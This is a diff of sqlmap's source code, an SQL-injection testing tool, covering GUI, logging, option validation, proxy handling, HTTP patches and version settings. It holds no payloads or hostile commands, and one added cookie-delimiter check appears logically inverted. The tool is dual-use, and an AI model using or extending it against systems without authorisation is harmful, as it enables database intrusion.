widget.grid(column=1, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
window._widgets[(option.dest, option.type)] = widget
|
window._widgets[(option.dest, option.type)] = widget
|
||||||
|
|
||||||
|
@ -251,15 +264,15 @@ def runGui(parser):
|
||||||
if hasattr(widget, "insert"):
|
if hasattr(widget, "insert"):
|
||||||
widget.insert(0, default)
|
widget.insert(0, default)
|
||||||
|
|
||||||
tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W)
|
_tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
row += 1
|
row += 1
|
||||||
|
|
||||||
tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)
|
_tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
notebook.pack(expand=1, fill="both")
|
notebook.pack(expand=1, fill="both")
|
||||||
notebook.enable_traversal()
|
notebook.enable_traversal()
|
||||||
|
|
||||||
first.focus()
|
first.focus()
|
||||||
|
|
||||||
window.mainloop()
|
window.mainloop()
|
||||||
|
|
|
@ -1,11 +1,12 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
from lib.core.enums import CUSTOM_LOGGING
|
||||||
|
@ -20,6 +21,77 @@ LOGGER_HANDLER = None
|
||||||
try:
|
try:
|
||||||
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
||||||
|
|
||||||
|
class _ColorizingStreamHandler(ColorizingStreamHandler):
|
||||||
|
def colorize(self, message, levelno):
|
||||||
|
if levelno in self.level_map and self.is_tty:
|
||||||
|
bg, fg, bold = self.level_map[levelno]
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if bg in self.color_map:
|
||||||
|
params.append(str(self.color_map[bg] + 40))
|
||||||
|
|
||||||
|
if fg in self.color_map:
|
||||||
|
params.append(str(self.color_map[fg] + 30))
|
||||||
|
|
||||||
|
if bold:
|
||||||
|
params.append('1')
|
||||||
|
|
||||||
|
if params and message:
|
||||||
|
match = re.search(r"\A(\s+)", message)
|
||||||
|
prefix = match.group(1) if match else ""
|
||||||
|
message = message[len(prefix):]
|
||||||
|
|
||||||
|
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||||
|
if match:
|
||||||
|
level = match.group(1)
|
||||||
|
if message.startswith(self.bold):
|
||||||
|
message = message.replace(self.bold, "")
|
||||||
|
reset = self.reset + self.bold
|
||||||
|
params.append('1')
|
||||||
|
else:
|
||||||
|
reset = self.reset
|
||||||
|
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||||
|
if match:
|
||||||
|
time = match.group(1)
|
||||||
|
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||||
|
|
||||||
|
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||||
|
if match:
|
||||||
|
counter = match.group(1)
|
||||||
|
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||||
|
|
||||||
|
if level != "PAYLOAD":
|
||||||
|
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||||
|
match = re.search(r": '(.+)'", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||||
|
|
||||||
|
if prefix:
|
||||||
|
message = "%s%s" % (prefix, message)
|
||||||
|
|
||||||
|
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
disableColor = False
|
disableColor = False
|
||||||
|
|
||||||
for argument in sys.argv:
|
for argument in sys.argv:
|
||||||
|
@ -30,7 +102,7 @@ try:
|
||||||
if disableColor:
|
if disableColor:
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
else:
|
else:
|
||||||
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
|
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
||||||
|
|
|
@ -1,12 +1,13 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
from __future__ import division
|
||||||
|
|
||||||
|
import codecs
|
||||||
import functools
|
import functools
|
||||||
import glob
|
import glob
|
||||||
import inspect
|
import inspect
|
||||||
|
@ -120,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||||
|
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
|
||||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
|
@ -329,8 +331,13 @@ def _setRequestFromFile():
|
||||||
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
target = next(parseRequestFile(conf.secondReq, False))
|
try:
|
||||||
kb.secondReq = target
|
target = next(parseRequestFile(conf.secondReq, False))
|
||||||
|
kb.secondReq = target
|
||||||
|
except StopIteration:
|
||||||
|
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
|
||||||
|
errMsg += "does not contain a valid HTTP request"
|
||||||
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
def _setCrawler():
|
def _setCrawler():
|
||||||
if not conf.crawlDepth:
|
if not conf.crawlDepth:
|
||||||
|
@ -340,7 +347,7 @@ def _setCrawler():
|
||||||
if conf.url:
|
if conf.url:
|
||||||
crawl(conf.url)
|
crawl(conf.url)
|
||||||
elif conf.requestFile and kb.targets:
|
elif conf.requestFile and kb.targets:
|
||||||
target = list(kb.targets)[0]
|
target = next(iter(kb.targets))
|
||||||
crawl(target[0], target[2], target[3])
|
crawl(target[0], target[2], target[3])
|
||||||
|
|
||||||
def _doSearch():
|
def _doSearch():
|
||||||
|
@ -994,7 +1001,7 @@ def _setHTTPHandlers():
|
||||||
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
hostnamePort = _.netloc.split(":")
|
hostnamePort = _.netloc.rsplit(":", 1)
|
||||||
|
|
||||||
scheme = _.scheme.upper()
|
scheme = _.scheme.upper()
|
||||||
hostname = hostnamePort[0]
|
hostname = hostnamePort[0]
|
||||||
|
@ -1138,7 +1145,7 @@ def _setSafeVisit():
|
||||||
conf.safeUrl = "http://%s" % conf.safeUrl
|
conf.safeUrl = "http://%s" % conf.safeUrl
|
||||||
|
|
||||||
if (conf.safeFreq or 0) <= 0:
|
if (conf.safeFreq or 0) <= 0:
|
||||||
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
|
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
def _setPrefixSuffix():
|
def _setPrefixSuffix():
|
||||||
|
@ -1524,6 +1531,13 @@ def _cleanupOptions():
|
||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.encoding:
|
||||||
|
try:
|
||||||
|
codecs.lookup(conf.encoding)
|
||||||
|
except LookupError:
|
||||||
|
errMsg = "unknown encoding '%s'" % conf.encoding
|
||||||
|
raise SqlmapValueException(errMsg)
|
||||||
|
|
||||||
debugMsg = "cleaning up configuration parameters"
|
debugMsg = "cleaning up configuration parameters"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -1721,8 +1735,7 @@ def _cleanupOptions():
|
||||||
conf.__setitem__(_, True)
|
conf.__setitem__(_, True)
|
||||||
|
|
||||||
if conf.noCast:
|
if conf.noCast:
|
||||||
for _ in list(DUMP_REPLACEMENTS.keys()):
|
DUMP_REPLACEMENTS.clear()
|
||||||
del DUMP_REPLACEMENTS[_]
|
|
||||||
|
|
||||||
if conf.dumpFormat:
|
if conf.dumpFormat:
|
||||||
conf.dumpFormat = conf.dumpFormat.upper()
|
conf.dumpFormat = conf.dumpFormat.upper()
|
||||||
|
@ -1751,6 +1764,13 @@ def _cleanupOptions():
|
||||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
||||||
|
|
||||||
|
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
|
||||||
|
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
|
||||||
|
debugMsg = "using environment proxy '%s'" % envProxy
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.proxy = envProxy
|
||||||
|
|
||||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||||
conf.disablePrecon = True
|
conf.disablePrecon = True
|
||||||
|
|
||||||
|
@ -1898,6 +1918,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
kb.forceThreads = None
|
kb.forceThreads = None
|
||||||
kb.forceWhere = None
|
kb.forceWhere = None
|
||||||
|
kb.forkNote = None
|
||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
kb.heavilyDynamic = False
|
kb.heavilyDynamic = False
|
||||||
kb.headersFile = None
|
kb.headersFile = None
|
||||||
|
@ -1998,6 +2019,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.udfFail = False
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
|
kb.webSocketRecvCount = None
|
||||||
kb.wizardMode = False
|
kb.wizardMode = False
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|
||||||
|
@ -2457,6 +2479,10 @@ def _basicOptionValidation():
|
||||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.cookieDel and len(conf.cookieDel):
|
||||||
|
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.crawlExclude:
|
if conf.crawlExclude:
|
||||||
try:
|
try:
|
||||||
re.compile(conf.crawlExclude)
|
re.compile(conf.crawlExclude)
|
||||||
|
@ -2464,6 +2490,13 @@ def _basicOptionValidation():
|
||||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.scope:
|
||||||
|
try:
|
||||||
|
re.compile(conf.scope)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.dumpTable and conf.dumpAll:
|
if conf.dumpTable and conf.dumpAll:
|
||||||
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
@ -2582,7 +2615,7 @@ def _basicOptionValidation():
|
||||||
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||||
errMsg = "option '--crack' should be used as a standalone"
|
errMsg = "option '--crack' should be used as a standalone"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
@ -2649,7 +2682,7 @@ def init():
|
||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -252,9 +252,6 @@ optDict = {
|
||||||
"forceDns": "boolean",
|
"forceDns": "boolean",
|
||||||
"murphyRate": "integer",
|
"murphyRate": "integer",
|
||||||
"smokeTest": "boolean",
|
"smokeTest": "boolean",
|
||||||
"liveTest": "boolean",
|
|
||||||
"stopFail": "boolean",
|
|
||||||
"runCase": "string",
|
|
||||||
},
|
},
|
||||||
|
|
||||||
"API": {
|
"API": {
|
||||||
|
|
|
@ -1,11 +1,12 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
import lib.core.common
|
import lib.core.common
|
||||||
|
@ -25,13 +26,18 @@ from lib.core.common import isListLike
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.option import _setHTTPHandlers
|
from lib.core.option import _setHTTPHandlers
|
||||||
from lib.core.option import setVerbosity
|
from lib.core.option import setVerbosity
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.request.templates import getPageTemplate
|
from lib.request.templates import getPageTemplate
|
||||||
|
from thirdparty import six
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
_rand = 0
|
||||||
|
|
||||||
def dirtyPatches():
|
def dirtyPatches():
|
||||||
"""
|
"""
|
||||||
Place for "dirty" Python related patches
|
Place for "dirty" Python related patches
|
||||||
|
@ -40,6 +46,18 @@ def dirtyPatches():
|
||||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||||
|
|
||||||
|
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
|
||||||
|
if six.PY3:
|
||||||
|
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||||
|
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||||
|
|
||||||
|
def _send_output(self, *args, **kwargs):
|
||||||
|
if conf.chunked and "encode_chunked" in kwargs:
|
||||||
|
kwargs["encode_chunked"] = False
|
||||||
|
self.__send_output(*args, **kwargs)
|
||||||
|
|
||||||
|
_http_client.HTTPConnection._send_output = _send_output
|
||||||
|
|
||||||
# add support for inet_pton() on Windows OS
|
# add support for inet_pton() on Windows OS
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
from thirdparty.wininetpton import win_inet_pton
|
from thirdparty.wininetpton import win_inet_pton
|
||||||
|
@ -87,3 +105,35 @@ def pympTempLeakPatch(tempDir):
|
||||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def unisonRandom():
|
||||||
|
"""
|
||||||
|
Unifying random generated data across different Python versions
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _lcg():
|
||||||
|
global _rand
|
||||||
|
a = 1140671485
|
||||||
|
c = 128201163
|
||||||
|
m = 2 ** 24
|
||||||
|
_rand = (a * _rand + c) % m
|
||||||
|
return _rand
|
||||||
|
|
||||||
|
def _randint(a, b):
|
||||||
|
_ = a + (_lcg() % (b - a + 1))
|
||||||
|
return _
|
||||||
|
|
||||||
|
def _choice(seq):
|
||||||
|
return seq[_randint(0, len(seq) - 1)]
|
||||||
|
|
||||||
|
def _sample(population, k):
|
||||||
|
return [_choice(population) for _ in xrange(k)]
|
||||||
|
|
||||||
|
def _seed(seed):
|
||||||
|
global _rand
|
||||||
|
_rand = seed
|
||||||
|
|
||||||
|
random.choice = _choice
|
||||||
|
random.randint = _randint
|
||||||
|
random.sample = _sample
|
||||||
|
random.seed = _seed
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||||
import pydot
|
import pydot
|
||||||
except ImportError as ex:
|
except ImportError as ex:
|
||||||
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
|
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
|
||||||
errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
|
errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||||
pydotGraph.write_png(imageOutputFile)
|
pydotGraph.write_png(imageOutputFile)
|
||||||
except OSError:
|
except OSError:
|
||||||
errMsg = "profiling requires graphviz installed "
|
errMsg = "profiling requires graphviz installed "
|
||||||
errMsg += "(Hint: 'sudo apt-get install graphviz')"
|
errMsg += "(Hint: 'sudo apt install graphviz')"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
infoMsg = "displaying interactive graph with xdot library"
|
infoMsg = "displaying interactive graph with xdot library"
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ from lib.core.enums import OS
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.3.11.98"
|
VERSION = "1.4.2.32"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
|
@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
|
||||||
PARAMETER_AMP_MARKER = "__AMP__"
|
PARAMETER_AMP_MARKER = "__AMP__"
|
||||||
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
||||||
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
||||||
|
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
|
||||||
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
||||||
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
|
@ -74,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||||
INFERENCE_MARKER = "[INFERENCE]"
|
INFERENCE_MARKER = "[INFERENCE]"
|
||||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||||
|
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
|
||||||
|
|
||||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||||
CHAR_INFERENCE_MARK = "%c"
|
CHAR_INFERENCE_MARK = "%c"
|
||||||
|
@ -232,6 +234,9 @@ STDIN_PIPE_DASH = '-'
|
||||||
# URL used in dummy runs
|
# URL used in dummy runs
|
||||||
DUMMY_URL = "http://foo/bar?id=1"
|
DUMMY_URL = "http://foo/bar?id=1"
|
||||||
|
|
||||||
|
# Timeout used during initial websocket (pull) testing
|
||||||
|
WEBSOCKET_INITIAL_TIMEOUT = 3
|
||||||
|
|
||||||
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
||||||
PLATFORM = os.name
|
PLATFORM = os.name
|
